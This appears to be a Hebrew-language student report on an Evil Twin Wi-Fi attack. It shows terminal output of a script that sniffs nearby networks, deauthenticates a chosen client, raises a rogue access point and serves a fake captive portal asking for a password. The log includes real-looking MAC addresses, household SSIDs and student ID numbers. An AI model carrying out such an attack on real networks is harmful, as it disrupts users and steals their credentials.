

Evil Twin Attacks דוח

מגישים:

דביר אברהמי - 207029364

נדב קיסר - 207229477

הראל עזרא - 318926854

התקיפה:

הרצה בסביבת לינוקס.

כרטיס רשת חיצוני: TP-Link TL-WN722N.

הרצת הקובץ attack.py.

קוד בגיט : <https://github.com/Harel-ezra/Evil-Twin-Attack>

```
(root@kali)-[/home/kali/Desktop/Evil-Twin-Attack/EvilTwin-code]
# python attack.py

----- EvilTwin Attack -----

Available Interfaces:
0: lo
1: wlan0
2: wlan1
3: eth0

Choose an interface to sniff: 2

Choose an interface to forward http requests through: 3
OPTIONAL: Timeout for sniffing ( default is 60s ): 20

switching wlan1 to monitor mode...

Sniffing traffic on wlan1...

*****
*                                     *
*   To stop program from running press CTRL+C at any time!   *
*                                     *
*****
***** Sniffing wlan1 for 20 seconds *****

0: MAC: D4:35:1D:6C:E2:34      Channel: 1      SSID: Avrahami
1: MAC: 00:B8:C2:3E:AE:E4      Channel: 1      SSID: Hermon
2: MAC: 00:B8:C2:1A:37:B9      Channel: 1      SSID: hartmann_wifi
3: MAC: 60:A4:B7:E4:06:53      Channel: 11     SSID: TP-Link_0653
4: MAC: 14:AE:DB:32:81:72      Channel: 5      SSID: shai
5: MAC: 0C:B9:37:87:23:BB      Channel: 6      SSID: liad 2.4 GHZ
6: MAC: 4A:F1:7F:1A:21:BA      Channel: 6      SSID: DIRECT-TYDESKTOP-MVGU62Qms9D
7: MAC: 30:24:78:C0:51:A6      Channel: 11     SSID: Hasid
```

Sniffing traffic on wlan1...

*
* To stop program from running press CTRL+C at any time! *
*

***** Sniffing wlan1 for 20 seconds *****

0: MAC: D4:35:1D:6C:E2:34	Channel: 1	SSID: Avrahami
1: MAC: 00:B8:C2:3E:AE:E4	Channel: 1	SSID: Hermon
2: MAC: 00:B8:C2:1A:37:B9	Channel: 1	SSID: hartmann_wifi
3: MAC: 60:A4:B7:E4:06:53	Channel: 11	SSID: TP-Link_0653
4: MAC: 14:AE:DB:32:81:72	Channel: 5	SSID: shai
5: MAC: 0C:B9:37:87:23:BB	Channel: 6	SSID: liad 2.4 GHZ
6: MAC: 4A:F1:7F:1A:21:BA	Channel: 6	SSID: DIRECT-TYDESKTOP-MVGU62Qms9D
7: MAC: 30:24:78:C0:51:A6	Channel: 11	SSID: Hasid
8: MAC: 68:FF:7B:6A:C2:92	Channel: 4	SSID: Levine_Clan
9: MAC: 00:B8:C2:38:0E:A4	Channel: 1	SSID: dolevnahari

***** Finished sniffing wlan1 *****

Please name one of the Access Points above to scan it's clients: Avrahami

Avrahami's connected clients are:

0: A6:81:2B:57:35:A6

Choose a client to attack (by it's index): 0

Sending Deauthentication packets ...

wlan1_1: interface state UNINITIALIZED→ENABLED

wlan1_1: AP-ENABLED

0

saved inputs:

dvir avrahami

new entry

█

Captive portal

Please give my your password (Totally Safe)

Username:

Password:

Login